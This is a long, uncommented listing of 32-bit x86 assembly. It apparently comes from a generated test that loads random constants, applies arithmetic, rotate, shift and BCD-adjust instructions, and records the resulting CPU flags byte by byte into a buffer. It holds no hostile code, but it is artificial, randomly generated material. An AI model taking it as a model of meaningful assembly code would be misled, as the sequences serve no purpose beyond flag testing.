stosb byte es:[edi], al
mov ebx, 0xd38275d4
mov ecx, 0x6ecd8c89
ror ebx, cl
mov eax, 0x63e8d5a1
shl eax, 1
mov ecx, 0x7f5699bf
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x4ff26040
mov ecx, 0x56fdc11c
rol eax, cl
mov eax, 0x68b50cf4
mov ecx, 0x1cec65d0
ror eax, cl
mov eax, 0x99a285a8
mov ecx, 0xf96d1f15
ror eax, cl
mov ecx, 0xaf52ae4e
mov eax, 0xd2239c57
cmp ecx, eax
mov edx, 0x1fc89d12
rol edx, 1
mov eax, 0x6558ab8d
aas
mov ebx, 0x7ced3734
mov ecx, 0x7f04901f
rol ebx, cl
mov ecx, 0xce2ea2f9
mov eax, 0xfdcfa6c2
sub ecx, eax
mov ecx, 0x49a11b8a
cmp ecx, 0x97c6afd6
mov eax, 0xa3ae176f
mov edx, 0xe54fc4fb
cmp eax, edx
mov eax, 0x693beea2
rol eax, 1
mov edx, 0x9e8a86d
mov ecx, 0x870b603c
ror edx, cl
mov edx, 0xafb77ca0
neg edx
mov eax, 0x4813a0ee
mov ecx, 0x8702f65e
sar eax, cl
mov eax, 0xbad61390
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x6b29cd62
mov ecx, 0x90b0eb4b
rol eax, cl
mov eax, 0x466bdb80
mov ecx, 0xa7bab40a
rol eax, cl
mov eax, 0x4f3f19bf
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x25eb15a5
shl eax, 0x41
mov edx, 0x519258d9
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x80ea0839
rol ebx, 1
mov eax, 0x2daf84e8
cmp eax, 0xf5bc1920
mov ebx, 0xbe7c5f20
neg ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x61144b50
rol ebx, 1
mov ebx, 0x58b904b3
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe057eaa4
sar eax, 0x53
mov ecx, 0xf9ae67a4
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xccc5d4e5
mov ecx, 0x473c0e77
shl edx, cl
mov ebx, 0x98642ba0
dec ebx
mov ebx, 0xbcda78b0
mov ecx, 0x4685fd18
rol ebx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x9400ca9f
inc edx
mov eax, 0xf02ced69
mov ecx, 0xcbdf5e87
ror eax, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x57d797b9
mov ecx, 0xab565898
rol eax, cl
mov eax, 0x3af46e75
inc eax
mov edx, 0x12608e25
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x8cb671f0
add ebx, 0x8db7d90f
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x7cafa48c
mov ecx, 0x7c8eaad0
rol eax, cl
mov edx, 0x67d8caf6
sal edx, 1
mov eax, 0x85a22eb4
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x4ea17d7a
mov ecx, 0x7708443f
rol edx, cl
mov edx, 0xb181b8df
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xfbc2002a
rol edx, 1
mov ebx, 0x4c597a1e
rol ebx, 1
mov ecx, 0xad85bebf
inc ecx
mov ebx, 0xe5949136
rol ebx, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xdadf04d2
rol eax, 1
mov eax, 0x46d75c77
dec eax
mov edx, 0x39cf9fce
mov ecx, 0x7a2e907c
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x57b65c46
rol eax, 1
mov edx, 0x39421ed8
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x859ef2fc
mov ecx, 0x67d91bee
ror ebx, cl
mov edx, 0x2afe5c3f
inc edx
mov ebx, 0x3f983f74
mov ecx, 0x457b008d
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xe8f35f08
rol ebx, 1
mov ebx, 0x5b6199bc
mov edx, 0xa6862710
sub ebx, edx
mov eax, 0xf4e3c7bd
aas
mov eax, 0x5e7300
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xded17b41
mov ecx, 0x69f86807
ror eax, cl
mov eax, 0x8010ae79
rol eax, 1
mov eax, 0xdfe60ea5
mov ecx, 0x1e41a9a7
rol eax, cl
mov eax, 0x72da014e
mov ecx, 0x14852f63
sal eax, cl
mov edx, 0x40f48530
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xba8c5f8e
mov ecx, 0xc3bfac31
rol eax, cl
mov ebx, 0x8dd824ed
mov ecx, 0x6531a76d
cmp ebx, ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x1380d734
mov ecx, 0xd803c969
ror ebx, cl
mov eax, 0x20653ef8
mov ebx, 0xc13a1ca2
sub eax, ebx
mov edx, 0xfc31efee
mov ecx, 0x20d8d4ab
rol edx, cl
mov edx, 0x53a12206
mov ecx, 0x70085514
shl edx, cl
mov eax, 0x23133570
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x34b9fb0e
shl ebx, 1
mov edx, 0xee942fbc
cmp edx, 0xdd3dfe9a
mov eax, 0xb8aff735
cmp eax, 0x24bce67f
lahf
mov byte [edi], ah
inc edi
mov edx, 0x4f54fecd
mov ecx, 0xea766fe
rol edx, cl
mov ebx, 0xeb20b50a
cmp ebx, 0xcd9640a
mov eax, 0x5a9b5fbf
aaa
mov edx, 0x88742849
neg edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x502be2ca
inc ebx
mov eax, 0x7b8bd7f
mov ecx, 0x9a1bffa3
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x2682886d
aaa
mov ebx, 0xbefcca17
mov ecx, 0x53efd043
ror ebx, cl
mov eax, 0x243d9cd8
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xdf2cd246
mov ecx, 0x16df3017
rol eax, cl
mov eax, 0xa3a860b2
mov ecx, 0x6fcb9395
ror eax, cl
mov ecx, 0xc7b58433
mov edx, 0x5e4a7be3
cmp ecx, edx
mov eax, 0xe481901f
mov ecx, 0x38682f08
rol eax, cl
mov ebx, 0xac80d017
mov ecx, 0x350379a8
rol ebx, cl
mov edx, 0x650af2c5
mov ecx, 0xb1754852
ror edx, cl
mov eax, 0x9a2df55c
rol eax, 1
mov eax, 0x7f6b4ff1
dec eax
mov ebx, 0x689d4745
mov ecx, 0xb746157
rol ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x550cdb74
mov ecx, 0x383ff91b
rol edx, cl
mov ebx, 0x7a5d3663
mov edx, 0x9fd2b891
cmp ebx, edx
mov edx, 0xd12ebaad
dec edx
mov eax, 0xd23a21c9
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x48fabe39
sal eax, 1
mov ebx, 0x8c44ce4f
inc ebx
mov edx, 0x5dc8e2bf
mov ecx, 0x3e6bd296
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xbf10d268
neg eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xa4ada4ad
sub edx, 0x3e250ea
mov eax, 0x7c2e8128
aas
mov ebx, 0x1deb8a2b
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x4cde1642
mov ecx, 0xc419919d
sal edx, cl
mov eax, 0x79eb4ff
inc eax
mov edx, 0x37383f8c
mov ecx, 0xd79bbcf1
ror edx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x9f1348e9
mov ecx, 0xda02d464
ror edx, cl
mov eax, 0xdf26f840
sub eax, 0xc767b500
mov eax, 0x1dbfd29d
add eax, 0xc8c0cb0
mov ebx, 0x1f357dc
mov edx, 0xeb0a637
cmp ebx, edx
mov ebx, 0x961b1801
shl ebx, 0x65
mov edx, 0x8fef4d80
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x55018379
aaa
mov edx, 0x5f005ad0
dec edx
mov eax, 0x838a8b14
mov ecx, 0x39f50b09
rol eax, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0xfe8654d8
mov edx, 0x63471f95
cmp ecx, edx
mov eax, 0x36e034d6
aas
mov ecx, 0x585ed67b
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x45a49f97
mov ecx, 0xcf0d8b78
cmp eax, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x37e6977a
mov ecx, 0xd6412a35
ror edx, cl
mov eax, 0xec72aaa1
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xf7350d19
mov ecx, 0xd56ce8f0
rol edx, cl
mov eax, 0x17a59738
mov ecx, 0x719c9f8a
sar eax, cl
mov ebx, 0x8921a8b7
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xb9ad4d54
rol ebx, 1
mov eax, 0x1a5c6959
rol eax, 1
mov ebx, 0x2a8e3a56
sar ebx, 0x24
mov edx, 0x87954f7b
mov ecx, 0xeb4c3e56
rol edx, cl
mov ebx, 0x98652c8
rol ebx, 1
mov eax, 0xde2af2e1
mov ecx, 0xdb15bede
sar eax, cl
mov edx, 0xd348b9a8
mov ecx, 0x19ebd50e
rol edx, cl
mov eax, 0x1592a102
mov ecx, 0x2f1dbe99
ror eax, cl
mov eax, 0xb2eeb53b
aaa
mov ebx, 0x70a6387
mov ecx, 0x9b75966d
ror ebx, cl
mov edx, 0x9ce0c0ff
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x135bfde8
mov ecx, 0xd26ac98e
rol eax, cl
mov eax, 0xf3e9cdc8
mov ebx, 0x86ea817
sub eax, ebx
mov eax, 0x892bdcb4
aaa
mov edx, 0x5e34284e
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x3fcca22b
rol edx, 1
mov edx, 0x2a913f36
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x3ad0a58e
rol edx, 1
mov ebx, 0x59bf3dbf
inc ebx
mov edx, 0xb1785b9f
mov ecx, 0xd2db8a19
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x544570ff
mov ecx, 0x3cbcff6c
rol edx, cl
mov ecx, 0x76366d1f
inc ecx
mov eax, 0x7110af4d
rol eax, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x851aef9e
aaa
mov ebx, 0x68d482e2
mov ecx, 0x9e274f39
ror ebx, cl
mov edx, 0x1ebed427
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x96b179be
rol edx, 1
mov edx, 0x29158462
sal edx, 1
mov ebx, 0xff64e042
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x9943117
mov ecx, 0x5c3de832
sub edx, ecx
mov edx, 0xaa90de62
mov ecx, 0x21536e07
rol edx, cl
mov eax, 0xbb453fb5
aaa
mov edx, 0xb5a74ad2
mov ecx, 0x9e667608
ror edx, cl
mov ecx, 0x543da6b
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x578bf87f
rol edx, 1
mov eax, 0x4136578b
rol eax, 1
mov ebx, 0x880194ef
inc ebx
mov edx, 0x3639df54
mov ecx, 0x5e0093a8
rol edx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x22455968
rol eax, 1
mov ebx, 0x43f9c8c7
shl ebx, 0x6c
mov edx, 0x793147f8
inc edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe92074f3
add ebx, 0x32d98ba2
mov eax, 0xbcaa1f16
aas
mov edx, 0x5b77900f
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x4b7c31b4
inc eax
mov ebx, 0xa368a1b8
mov ecx, 0x968b0e78
ror ebx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x64b2f39e
aas
mov eax, 0x1075fa45
rol eax, 1
mov eax, 0xd737cfc8
mov ecx, 0xc36fd03
sal eax, cl
mov ebx, 0xd43c65df
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x6ed4a4a4
mov ecx, 0xfc271247
sal ebx, cl
mov ebx, 0x3d175212
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x771529d5
shl edx, 1
mov ecx, 0x96a97c10
dec ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0x95514c1b
sub ecx, 0x71b6dce3
mov edx, 0x69d9167b
mov ecx, 0x9c206123
sal edx, cl
mov eax, 0x7b110b8f
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x6af44b8d
mov ecx, 0xd4c7bec4
sal ebx, cl
mov ecx, 0x248c5b27
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7db70c46
mov ecx, 0x3cb684ed
rol ebx, cl
mov eax, 0x390dae9
aaa
mov eax, 0xc929263e
mov ecx, 0xa6b03286
shl eax, cl
mov ecx, 0xdbaf8fd
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x71c37a34
shl eax, 0x81
mov eax, 0x835ee5f
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xbb04802a
mov ecx, 0x1b17a4e4
ror ebx, cl
mov eax, 0x5b8ae171
mov ecx, 0x71f56ff2
shl eax, cl
mov ecx, 0x20303f39
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x9916f700
mov ecx, 0x129756ea
cmp edx, ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xcf87c95e
cmp eax, 0xaeb46a03
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x204c0a2a
mov ecx, 0x287fa9a8
ror ebx, cl
mov ebx, 0xd5b0b2b
mov ecx, 0x99f84ec8
sub ebx, ecx
mov eax, 0x26c248b0
aaa
mov eax, 0xb0102630
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xcc1af10f
aaa
mov ebx, 0xbe964f50
neg ebx
mov eax, 0x1894888d
mov ecx, 0x34e7bca6
rol eax, cl
mov edx, 0x507ea1e6
mov ecx, 0x12399747
rol edx, cl
mov eax, 0x76e111ee
mov edx, 0x5c065dc7
cmp eax, edx
mov edx, 0xed9286f
sal edx, 0xba
mov eax, 0x4c4d76f2
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xf52dc70f
inc ecx
mov ebx, 0xe04f96a2
mov ecx, 0xaaae79b9
ror ebx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x1b94c6cf
dec edx
mov edx, 0x3b7e3320
mov ecx, 0xc939e0d9
rol edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xc9f7007
rol ebx, 1
mov ebx, 0x7a7c06fd
rol ebx, 1
mov ebx, 0xa681de7f
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xd375e306
mov edx, 0xdf0affd3
sub ebx, edx
mov eax, 0x73448297
aas
mov edx, 0x96f37cf2
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xaa6a5d27
dec eax
mov edx, 0x3363e0e
rol edx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x821abeb7
sal edx, 0x15
mov edx, 0x8dff43d0
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x16cd987e
cmp eax, 0x5b820830
mov edx, 0xe60830b
cmp edx, 0x8f19a856
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x6b66155e
mov eax, 0xfea7d4d0
cmp ecx, eax
mov eax, 0x1b9f290d
aaa
mov ebx, 0x7a0a02b3
mov edx, 0x327bc356
add ebx, edx
mov eax, 0x72b028ce
aas
mov edx, 0xe97935ba
rol edx, 1
mov eax, 0xcdb397f8
mov ebx, 0x4f700f0e
add eax, ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x7ec15f1a
mov ecx, 0xd3a8dbbf
rol eax, cl
mov ebx, 0xd1bb25e5
cmp ebx, 0x76d8da63
mov ebx, 0x79262972
mov ecx, 0x54814c4d
rol ebx, cl
mov edx, 0x69a4d132
sub edx, 0x230dc77f
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xa6c50942
mov ecx, 0x493c7d37
rol ebx, cl
mov edx, 0xdbcad6b5
shl edx, 1
mov edx, 0xea96433d
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xcb7ad064
mov ecx, 0xeba5322e
shl edx, cl
mov ebx, 0x2b71d40e
mov ecx, 0x85181a98
rol ebx, cl
mov ebx, 0xd2e10cef
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xe68d4762
cmp ebx, 0x5042a569
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x55c1b4ec
inc ebx
mov eax, 0x1c43d1ff
mov ecx, 0x4df2bb7a
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xba6f350a
aas
mov ecx, 0xec3c063c
sub ecx, 0xdc52a53
mov eax, 0xc141525b
aas
mov edx, 0x9d648ed7
sal edx, 1
mov ebx, 0x2794950f
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xc2715f50
rol ebx, 1
mov edx, 0xc6610ee
mov ecx, 0x2cc1f97a
rol edx, cl
mov ecx, 0x8a0272ec
add ecx, 0x8f13404f
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x575a6b8d
aas
mov edx, 0x77b2f81f
mov ecx, 0x45bdbf64
shl edx, cl
mov eax, 0x2c5fb3c6
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x3162aa81
sal edx, 1
mov eax, 0xeb4f08f8
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x9886ac2f
add edx, 0xf547ce60
mov eax, 0x9ee3662d
aas
mov ebx, 0x1935b8e0
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xf5b73061
mov edx, 0x9124f51d
add ebx, edx
mov ebx, 0x229ee270
rol ebx, 1
mov ebx, 0xb177d15f
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x325a07b0
shl edx, 1
mov ecx, 0x7580787a
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x2e7b20aa
rol eax, 1
mov ecx, 0x2c622789
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x6e50409
mov ecx, 0x95dcbed8
ror ebx, cl
mov edx, 0xc474547f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xfa36e344
rol ebx, 1
mov edx, 0x65d3896f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x4ae8e574
shl edx, 0xc4
mov edx, 0xd5a151f
sal edx, 3
mov ebx, 0x28de1dd
sal ebx, 0xe6
mov edx, 0xf89e1968
rol edx, 1
mov ebx, 0x19e09a60
rol ebx, 1
mov eax, 0x1dd18c80
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x3a4b8338
add ebx, 0xdc2821b5
mov eax, 0x840f6de
aas
mov ecx, 0x612cd1c5
mov ebx, 0xf7f5c8ad
sub ecx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x9fe291f9
aas
mov eax, 0xd82e3995
aas
mov ebx, 0xcb636dfb
mov ecx, 0xc592890d
rol ebx, cl
mov ecx, 0x74ea1408
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x53531526
sub edx, 0xf49033e6
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x6897b21f
sar ebx, 0xfd
mov eax, 0xb75aea0
dec eax
mov edx, 0x8ef3d481
mov ecx, 0x1d62f969
ror edx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xf6ba1fdc
rol ebx, 1
mov eax, 0x826a83c0
dec eax
mov ebx, 0x2e108c5b
mov ecx, 0x82d33949
rol ebx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xf441134e
rol ebx, 1
mov edx, 0xec647d33
sar edx, 0x37
mov eax, 0x13de1b36
mov ecx, 0x47191c78
ror eax, cl
mov edx, 0xf91ce7ee
neg edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xecc6b847
aaa
mov edx, 0x24503b2a
mov ecx, 0x6a13a13d
sar edx, cl
mov edx, 0x88b04d6
dec edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x9eb2a967
rol eax, 1
mov edx, 0x520ad460
dec edx
mov edx, 0x4e44ce48
mov ecx, 0xf35785fa
ror edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xf64f178a
rol eax, 1
mov edx, 0x5ced62b5
neg edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x3ca55e0a
mov ecx, 0xa9cb56a
ror eax, cl
mov ebx, 0x39e75d70
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xda90a1b9
mov ecx, 0x1153387d
rol edx, cl
mov eax, 0xed86340
neg eax
mov eax, 0x7480d4e4
mov edx, 0xcab9dbc4
cmp eax, edx
mov eax, 0x23ffe688
mov ecx, 0xef1efe7f
ror eax, cl
mov edx, 0x78937448
mov ecx, 0x29822ff9
rol edx, cl
mov ebx, 0xa1d8d4a1
sal ebx, 0xe5
mov ebx, 0x45c51e46
shl ebx, 1
mov edx, 0xa4821cd5
sar edx, 0xb6
mov eax, 0x6a30f0f0
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi